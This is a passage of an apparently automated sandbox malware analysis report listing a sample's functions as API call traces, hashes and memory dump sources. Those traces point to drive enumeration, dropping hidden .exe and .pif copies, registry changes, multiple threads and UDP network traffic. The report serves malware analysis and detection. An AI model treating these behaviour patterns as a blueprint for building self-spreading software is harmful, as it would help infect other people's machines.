                                                              • Part of subcall function 029DE6F0: GetProcAddress.KERNEL32(00000000,02A540F4), ref: 029DE7A1
                                                              • Part of subcall function 029DE6F0: GetProcAddress.KERNEL32(00000000,02A54104), ref: 029DE7BA
                                                              • Part of subcall function 029DE6F0: LoadLibraryA.KERNEL32(02A541E8), ref: 029DE7CC
                                                              • Part of subcall function 029DE6F0: GetProcAddress.KERNEL32(00000000,02A5422C), ref: 029DE7EF
                                                              • Part of subcall function 029DE6F0: GetProcAddress.KERNEL32(00000000,02A54204), ref: 029DE808
                                                              • Part of subcall function 029DE6F0: GetProcAddress.KERNEL32(00000000,02A54218), ref: 029DE820
                                                              • Part of subcall function 029DE6F0: GetProcAddress.KERNEL32(00000000,02A541F4), ref: 029DE839
                                                              • Part of subcall function 029DE6F0: RegOpenKeyExA.KERNEL32(80000001,02A53B2C,00000000,000F003F,00000000), ref: 029DE85E
                                                            • CreateThread.KERNEL32(00000000,00000000,Function_0000D570,00000000,00000000,00000000), ref: 029DEDA5
                                                              • Part of subcall function 029D10E5: RtlEnterCriticalSection.NTDLL(029E4030), ref: 029D10F5
                                                              • Part of subcall function 029D10E5: RtlLeaveCriticalSection.NTDLL(029E4030), ref: 029D117F
                                                            • CreateThread.KERNEL32(00000000,00000000,Function_000053B2,00000000,00000000,?), ref: 029DEDCC
                                                              • Part of subcall function 029D10E5: CloseHandle.KERNEL32(00000000), ref: 029D1166
                                                            • CreateThread.KERNEL32(00000000,00000000,Function_0000E507,00000000,00000000,?), ref: 029DEDF3
                                                            • CreateThread.KERNEL32(00000000,00000000,Function_00003FAA,00000000,00000000,?), ref: 029DEE1A
                                                            • CreateThread.KERNEL32(00000000,00000000,Function_000057A0,00000000,00000000,?), ref: 029DEE41
                                                              • Part of subcall function 029DF030: CreateFileMappingA.KERNEL32(000000FF,00000000,00000004,00000000,00008000,02A53A34), ref: 029DF067
                                                              • Part of subcall function 029DF030: MapViewOfFile.KERNEL32(E8F44D8D,00000006,00000000,00000000,00008000,?,029D232C,?,029D2B51,00000000,?,?,?), ref: 029DF08E
                                                            • CreateThread.KERNEL32(00000000,00000000,Function_00001189,00000000,00000000,?), ref: 029DEF9E
                                                            • CreateThread.KERNEL32(00000000,00000000,Function_00003911,00000000,00000000,?), ref: 029DEFC5
                                                            • CreateThread.KERNEL32(00000000,00000000,Function_00003D9B,00000000,00000000,?), ref: 029DEFEC
                                                            • Sleep.KERNEL32(00000200), ref: 029DF009
                                                              • Part of subcall function 029D7C71: MapViewOfFile.KERNEL32(00000258,00000006,00000000,00000000,00015400), ref: 029D7CA8
                                                              • Part of subcall function 029D7C71: UnmapViewOfFile.KERNEL32(00000000), ref: 029D7CD7
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: Create$Thread$AddressProc$CriticalSection$File$InitializeView$LibraryLoad$CloseEnterErrorHandleLeaveMappingModeOpenSleepStartupUnmap
                                                            • String ID:
                                                            • API String ID: 4160894954-0
                                                            • Opcode ID: 22238949b56988dd6438968237d0f7be115b3a655d3d39df92bf73823dacd1a3
                                                            • Instruction ID: 5883b74e820972291c4017ea952b4394fdee5ff4e38e07738dc76f34ca0515f4
                                                            • Opcode Fuzzy Hash: 22238949b56988dd6438968237d0f7be115b3a655d3d39df92bf73823dacd1a3
                                                            • Instruction Fuzzy Hash: 10713F71B81314BBFB20AB90DC57FDA7775AF85B01F1084A4F34A7A1C0DAB06A449F66
                                                            Function 029DDFC7 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 133filestringtimeCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • Sleep.KERNEL32(00004E20), ref: 029DDF9F
                                                            • GetLogicalDrives.KERNEL32 ref: 029DDFAF
                                                            • GetDriveTypeA.KERNEL32(?), ref: 029DE032
                                                            • lstrcat.KERNEL32(?,02A54094), ref: 029DE058
                                                            • CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000020,00000000), ref: 029DE074
                                                            • GetFileTime.KERNEL32(000000FF,?,?,?), ref: 029DE0A9
                                                            • FileTimeToSystemTime.KERNEL32(?,?), ref: 029DE0BD
                                                            • ReadFile.KERNEL32(?,?,00000FA0,?,00000000), ref: 029DE11F
                                                            • CharLowerA.USER32(?), ref: 029DE12C
                                                            • lstrlen.KERNEL32(?), ref: 029DE139
                                                            • Sleep.KERNEL32(00001B58), ref: 029DE4C8
                                                              • Part of subcall function 029D42C7: tolower.MSVCRT ref: 029D431E
                                                              • Part of subcall function 029D42C7: tolower.MSVCRT ref: 029D4330
                                                            • lstrcpy.KERNEL32(?,00000000), ref: 029DE207
                                                            • GetFileAttributesA.KERNEL32(?), ref: 029DE214
                                                            • CloseHandle.KERNEL32(?), ref: 029DE226
                                                            • CreateFileA.KERNEL32(?,40000000,00000002,00000000,00000004,00000020,00000000), ref: 029DE242
                                                            • WriteFile.KERNEL32(000000FF,?,?,?,00000000), ref: 029DE275
                                                            • CloseHandle.KERNEL32(000000FF), ref: 029DE282
                                                            • SetFileAttributesA.KERNEL32(?,00000007), ref: 029DE291
                                                            • CloseHandle.KERNEL32(000000FF), ref: 029DE2AA
                                                            • GetFileAttributesA.KERNEL32(?), ref: 029DE2B7
                                                            • SetFileAttributesA.KERNEL32(?,00000020), ref: 029DE2D5
                                                            • DeleteFileA.KERNEL32(?), ref: 029DE2E2
                                                            • CreateFileA.KERNEL32(?,40000000,00000002,00000000,00000004,00000020,00000000), ref: 029DE30D
                                                            • GetSystemTime.KERNEL32(?), ref: 029DE32D
                                                            • SystemTimeToFileTime.KERNEL32(?,?), ref: 029DE357
                                                            • lstrcat.KERNEL32(?,.pif), ref: 029DE3BA
                                                            • lstrcat.KERNEL32(?,.exe), ref: 029DE3CE
                                                            • lstrlen.KERNEL32(?,?,00000000), ref: 029DE3FA
                                                            • WriteFile.KERNEL32(?,?,00000000), ref: 029DE40F
                                                            • SetFileTime.KERNEL32(?,?,?,?), ref: 029DE431
                                                            • FindCloseChangeNotification.KERNEL32(?), ref: 029DE43E
                                                            • SetFileAttributesA.KERNEL32(?,00000007), ref: 029DE44D
                                                            • CreateFileA.KERNEL32(?,40000000,00000002,00000000,00000004,00000020,00000000), ref: 029DE469
                                                            • WriteFile.KERNEL32(000000FF,?,?,?,00000000), ref: 029DE49C
                                                            • CloseHandle.KERNEL32(000000FF), ref: 029DE4A9
                                                            • SetFileAttributesA.KERNEL32(?,00000007), ref: 029DE4B8
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: File$Time$Attributes$Close$CreateHandle$SystemWritelstrcat$Sleeplstrlentolower$ChangeCharDeleteDriveDrivesFindLogicalLowerNotificationReadTypelstrcpy
                                                            • String ID: :$\
                                                            • API String ID: 683324548-1166558509
                                                            • Opcode ID: 2043bdfd57f7b29f058224b6c07698a36f2b26dc92931828d11fba73292ffef9
                                                            • Instruction ID: c5f5de6da6e4dad0573701ebde41d28f9f6778e6ed68732dd66c5baf42e9c63a
                                                            • Opcode Fuzzy Hash: 2043bdfd57f7b29f058224b6c07698a36f2b26dc92931828d11fba73292ffef9
                                                            • Instruction Fuzzy Hash: 9E51B171D00269DBDB34CB64CC84BEEB77ABF85305F0485C8E249EA280D7749AA9DF50
                                                            Function 029DC5AE Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 130registrystringsleepCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • wsprintfA.USER32 ref: 029DC651
                                                            • RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?), ref: 029DC673
                                                            • RegEnumValueA.KERNEL32(?,00000000,?,000000FF,00000000,00000000,?,000000FF), ref: 029DC6ED
                                                            • RegCloseKey.ADVAPI32(?), ref: 029DC781
                                                              • Part of subcall function 029D42C7: tolower.MSVCRT ref: 029D431E
                                                              • Part of subcall function 029D42C7: tolower.MSVCRT ref: 029D4330
                                                            • lstrlen.KERNEL32(?), ref: 029DC71D
                                                            • lstrlen.KERNEL32(00000000), ref: 029DC729
                                                            • Sleep.KERNEL32(00000400), ref: 029DC76B
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: lstrlentolower$CloseEnumOpenSleepValuewsprintf
                                                            • String ID: %s%s
                                                            • API String ID: 3307273590-3252725368
                                                            • Opcode ID: 76505afa4a048b5285b24bda8f3f344a6cde2ec2a5ca50dbecac3c06554045ac
                                                            • Instruction ID: 208f8a17882e8410962d0bd7620c17ae1dcd2a7300b97cf4ed7e7fdad5b05656
                                                            • Opcode Fuzzy Hash: 76505afa4a048b5285b24bda8f3f344a6cde2ec2a5ca50dbecac3c06554045ac
                                                            • Instruction Fuzzy Hash: 6D515475D00219AFDB20DF94DC98BEEB7B4BB48304F0046D9E609A7280DB799A45CF90
                                                            Function 029D59DE Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 76stringCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • GetTickCount.KERNEL32 ref: 029D5A24
                                                            • GetPrivateProfileStringA.KERNEL32(02A53A44,02A53FBC,00000000,00000000,00000080,02A54014), ref: 029D5A50
                                                            • lstrlen.KERNEL32(00000000), ref: 029D5A5D
                                                            • GetTickCount.KERNEL32 ref: 029D5A75
                                                            • wsprintfA.USER32 ref: 029D5AC0
                                                            • WritePrivateProfileStringA.KERNEL32(02A53A44,02A53FBC,?,02A54014), ref: 029D5AE5
                                                            • lstrcpy.KERNEL32(42950784062,00000000), ref: 029D5AF7
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: CountPrivateProfileStringTick$Writelstrcpylstrlenwsprintf
                                                            • String ID: 42950784062
                                                            • API String ID: 929466507-3928611700
                                                            • Opcode ID: 52147b468dfc1e068f151c9a64e3654866f6dc3e95fe23b2bfc8fb0eae7fa070
                                                            • Instruction ID: f9920642d9a4e3dcd2d7f138456c7e3c8d14d91b385701ee41ad38502cb66b41
                                                            • Opcode Fuzzy Hash: 52147b468dfc1e068f151c9a64e3654866f6dc3e95fe23b2bfc8fb0eae7fa070
                                                            • Instruction Fuzzy Hash: 05316272E40225BFDB50CB64D848BE7B7B9FB58300F0089A9E60997241DE749A9A8F51
                                                            Function 029D3D9B Relevance: 13.6, APIs: 9, Instructions: 90sleepthreadCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                              • Part of subcall function 029DF030: CreateFileMappingA.KERNEL32(000000FF,00000000,00000004,00000000,00008000,02A53A34), ref: 029DF067
                                                              • Part of subcall function 029DF030: MapViewOfFile.KERNEL32(E8F44D8D,00000006,00000000,00000000,00008000,?,029D232C,?,029D2B51,00000000,?,?,?), ref: 029DF08E
                                                            • Sleep.KERNEL32(000493E0,00000001), ref: 029D3DFE
                                                            • CreateThread.KERNEL32(00000000,00000000,029D3B41,00000000,00000000,00000000), ref: 029D3E78
                                                            • Sleep.KERNEL32(00000200), ref: 029D3E8C
                                                            • Sleep.KERNEL32(00000100), ref: 029D3EA0
                                                            • Sleep.KERNEL32(00000100), ref: 029D3ECA
                                                            • Sleep.KERNEL32(00000400), ref: 029D3EE2
                                                            • Sleep.KERNEL32(00000400), ref: 029D3F04
                                                            • Sleep.KERNEL32(00249F00,00000000), ref: 029D3F21
                                                            • RtlExitUserThread.NTDLL(00000000), ref: 029D3F2E
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: Sleep$CreateFileThread$ExitMappingUserView
                                                            • String ID:
                                                            • API String ID: 2742488253-0
                                                            • Opcode ID: 623bcdca2c8160188cefef2dd66daaa3b4c7556c20363db496f3cfdfe08fd956
                                                            • Instruction ID: 430c5f1d49954385c8e95c04651bcc3d1f750ebafa42fe2a200361e5150cd655
                                                            • Opcode Fuzzy Hash: 623bcdca2c8160188cefef2dd66daaa3b4c7556c20363db496f3cfdfe08fd956
                                                            • Instruction Fuzzy Hash: 613153B0D84318DBD720AB60DD4A7DA7678BB44307F0084E8D706A65C1DFB05A99DF6B
                                                            Function 029D2FA0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 192networkCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • socket.WS2_32(00000002,00000002,00000011), ref: 029D3008
                                                            • sendto.WS2_32(?,?,00000000,00000000,?,00000010), ref: 029D3072
                                                            • select.WS2_32(?,00000000,00000000,00000000,0000000F), ref: 029D314A
                                                            • recvfrom.WS2_32(?,?,00001000,00000000,?,00000010), ref: 029D3179
                                                            • closesocket.WS2_32(?), ref: 029D32C6
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: closesocketrecvfromselectsendtosocket
                                                            • String ID: @
                                                            • API String ID: 4198204009-2766056989
                                                            • Opcode ID: 0ef0837ebe1ba63fb7af181dbf86101bba9a338c228f0da8aa0b0a57f73b43d5
                                                            • Instruction ID: 8d5ddff229fdc9c377c84b16ba065d97a802810a389f4175f57084b9c1b4258e
                                                            • Opcode Fuzzy Hash: 0ef0837ebe1ba63fb7af181dbf86101bba9a338c228f0da8aa0b0a57f73b43d5
                                                            • Instruction Fuzzy Hash: 08819E71D081A88BEF38CB24CC507EAB775AF49311F4082D9E399A62C4DBB05AC4DF56
                                                            Function 029D43EC Relevance: 10.6, APIs: 7, Instructions: 94registryCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • RegOpenKeyExA.KERNEL32(029D53F7,02A547E0,00000000,000F003F,029D53F7), ref: 029D4408
                                                            • RegEnumValueA.KERNEL32(029D53F7,00000000,?,00000104,00000000,00000000,00000000,00000000), ref: 029D443F
                                                            • RegDeleteValueA.KERNEL32(029D53F7,?), ref: 029D4468
                                                            • RegEnumKeyExA.KERNEL32(029D53F7,00000000,?,00000104,00000000,00000000,00000000,00000000), ref: 029D44A0
                                                            • wsprintfA.USER32 ref: 029D44D3
                                                            • RegDeleteKeyA.ADVAPI32(029D53F7,?), ref: 029D44FA
                                                            • RegCloseKey.ADVAPI32(029D53F7), ref: 029D4517
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: DeleteEnumValue$CloseOpenwsprintf
                                                            • String ID:
                                                            • API String ID: 2321319729-0
                                                            • Opcode ID: fea6956e1b01a63e300cb7cd941e4e48e359d4f06eab956f756262f30f3b7309
                                                            • Instruction ID: a0415baeccf9e03be2679cfe1d3b14267bd0f38375e7ae403970ca8dc1052667
                                                            • Opcode Fuzzy Hash: fea6956e1b01a63e300cb7cd941e4e48e359d4f06eab956f756262f30f3b7309
                                                            • Instruction Fuzzy Hash: CD311EB9D40218EBDB14CF94DC94FDEB7B9AB48704F10C588A709A7180DB74A649DF54
                                                            Function 029DDC56 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 82registrystringCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • RegOpenKeyExA.KERNEL32(80000001,02A53DA8,00000000,000F003F,?,?), ref: 029DDC9D
                                                            • RegSetValueExA.KERNELBASE(?,02A53DE4,00000000,00000004,00000002,00000004), ref: 029DDCCB
                                                            • RegCloseKey.KERNEL32(?), ref: 029DDCD8
                                                            • lstrcpy.KERNEL32(00000000,02A53EAC), ref: 029DDD33
                                                            • lstrcat.KERNEL32(00000000,02A53EA4), ref: 029DDD46
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: CloseOpenValuelstrcatlstrcpy
                                                            • String ID: >
                                                            • API String ID: 1115058322-325317158
                                                            • Opcode ID: 10c660fac4e888da39579c46bebc0310c7227f81914ec240c67a6c6afb798b92
                                                            • Instruction ID: fb94afc2f57935449c32bcb55839472315e72d0de4239915774e9c7249224820
                                                            • Opcode Fuzzy Hash: 10c660fac4e888da39579c46bebc0310c7227f81914ec240c67a6c6afb798b92
                                                            • Instruction Fuzzy Hash: 2D3143B6940328AFDB24CB54DC44FFAB378EB69304F00CAC9E64957240DAB59AD5CF91
                                                            Function 029D3FAA Relevance: 9.2, APIs: 6, Instructions: 175sleepstringthreadCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • Sleep.KERNEL32(0002BF20), ref: 029D4036
                                                              • Part of subcall function 029D13E8: InterlockedExchange.KERNEL32(029E40B8,?), ref: 029D1406
                                                            • Sleep.KERNEL32 ref: 029D4055
                                                            • lstrcpy.KERNEL32(00000000,?), ref: 029D418D
                                                            • Sleep.KERNEL32(010B0023), ref: 029D42A0
                                                            • Sleep.KERNEL32(001B7740), ref: 029D42AD
                                                            • RtlExitUserThread.NTDLL(00000000), ref: 029D42BA
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: Sleep$ExchangeExitInterlockedThreadUserlstrcpy
                                                            • String ID:
                                                            • API String ID: 2174692278-0
                                                            • Opcode ID: deed3ef330d1e9faf97e19cd9448d2685bff8b14abd0099ec23c9994de8e80e7
                                                            • Instruction ID: bef894cb896cdb9d0a461e0c0cc3d4b4cadcef1a479a3dd14c21403862983fed
                                                            • Opcode Fuzzy Hash: deed3ef330d1e9faf97e19cd9448d2685bff8b14abd0099ec23c9994de8e80e7
                                                            • Instruction Fuzzy Hash: F57191B5E002288BEF24CB10CC95BAAB7B5BF94304F10D6E9D709B6280DB759B85DF45
                                                            Function 029DDBCC Relevance: 9.1, APIs: 6, Instructions: 54registryCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • RegOpenKeyExA.KERNEL32(00000001,?,00000000,000F003F,?), ref: 029DDBEC
                                                            • RegSetValueExA.KERNEL32(?,00000001,00000000,00000004,00000001,00000004), ref: 029DDC08
                                                            • RegCloseKey.ADVAPI32(?), ref: 029DDC12
                                                            • RegCreateKeyA.ADVAPI32(00000001,?,?), ref: 029DDC26
                                                            • RegSetValueExA.KERNEL32(?,00000001,00000000,00000004,00000001,00000004), ref: 029DDC42
                                                            • RegCloseKey.ADVAPI32(?), ref: 029DDC4C
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: CloseValue$CreateOpen
                                                            • String ID:
                                                            • API String ID: 2738932338-0
                                                            • Opcode ID: 7464a5806a62855feb06922cedad77974dd3c863b8d7574a25373b9f8dd95646
                                                            • Instruction ID: d79028e3f769749d104294032e63802d723ed756a9db74e5c125ae16479c4399
                                                            • Opcode Fuzzy Hash: 7464a5806a62855feb06922cedad77974dd3c863b8d7574a25373b9f8dd95646
                                                            • Instruction Fuzzy Hash: 2C11D6BAA40209BFDB04DFA4D949FAF77B8AB4C710F108948FB0597180DA70DA15DB60
                                                            Function 02A5BCD0 Relevance: 7.7, APIs: 5, Instructions: 207librarymemoryloaderCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • LoadLibraryA.KERNEL32(?), ref: 02A5BE12
                                                            • GetProcAddress.KERNEL32(?,02A58FF9), ref: 02A5BE30
                                                            • ExitProcess.KERNEL32(?,02A58FF9), ref: 02A5BE41
                                                            • VirtualProtect.KERNEL32(029D0000,00001000,00000004,?,00000000), ref: 02A5BE8F
                                                            • VirtualProtect.KERNEL32(029D0000,00001000), ref: 02A5BEA4
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: ProtectVirtual$AddressExitLibraryLoadProcProcess
                                                            • String ID:
                                                            • API String ID: 1996367037-0
                                                            • Opcode ID: 1d588514017d5e90a2bcd584f34fa58eaa929d68c58fedfd5cd87fc3d6d80287
                                                            • Instruction ID: 9109f58bfe3c4e1703ef747251b4166ea0436452e7da1bb9d5371a5261f58a18
                                                            • Opcode Fuzzy Hash: 1d588514017d5e90a2bcd584f34fa58eaa929d68c58fedfd5cd87fc3d6d80287
                                                            • Instruction Fuzzy Hash: AD51D5726507664BD7215B789CC07A6B7A0EB0122E71C0F38DEE6C72CAEFB454068770
                                                            Function 029D3B41 Relevance: 7.6, APIs: 5, Instructions: 104threadnetworkCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • InterlockedIncrement.KERNEL32(029E40C0), ref: 029D3B80
                                                            • htons.WS2_32(?), ref: 029D3BD2
                                                              • Part of subcall function 029D2FA0: socket.WS2_32(00000002,00000002,00000011), ref: 029D3008
                                                              • Part of subcall function 029D2FA0: sendto.WS2_32(?,?,00000000,00000000,?,00000010), ref: 029D3072
                                                              • Part of subcall function 029D2FA0: select.WS2_32(?,00000000,00000000,00000000,0000000F), ref: 029D314A
                                                            • GetTickCount.KERNEL32 ref: 029D3C36
                                                              • Part of subcall function 029D2FA0: recvfrom.WS2_32(?,?,00001000,00000000,?,00000010), ref: 029D3179
                                                              • Part of subcall function 029D2FA0: closesocket.WS2_32(?), ref: 029D32C6
                                                            • InterlockedDecrement.KERNEL32(029E40C0), ref: 029D3D01
                                                            • RtlExitUserThread.NTDLL(00000000), ref: 029D3D09
                                                            Memory Dump Source
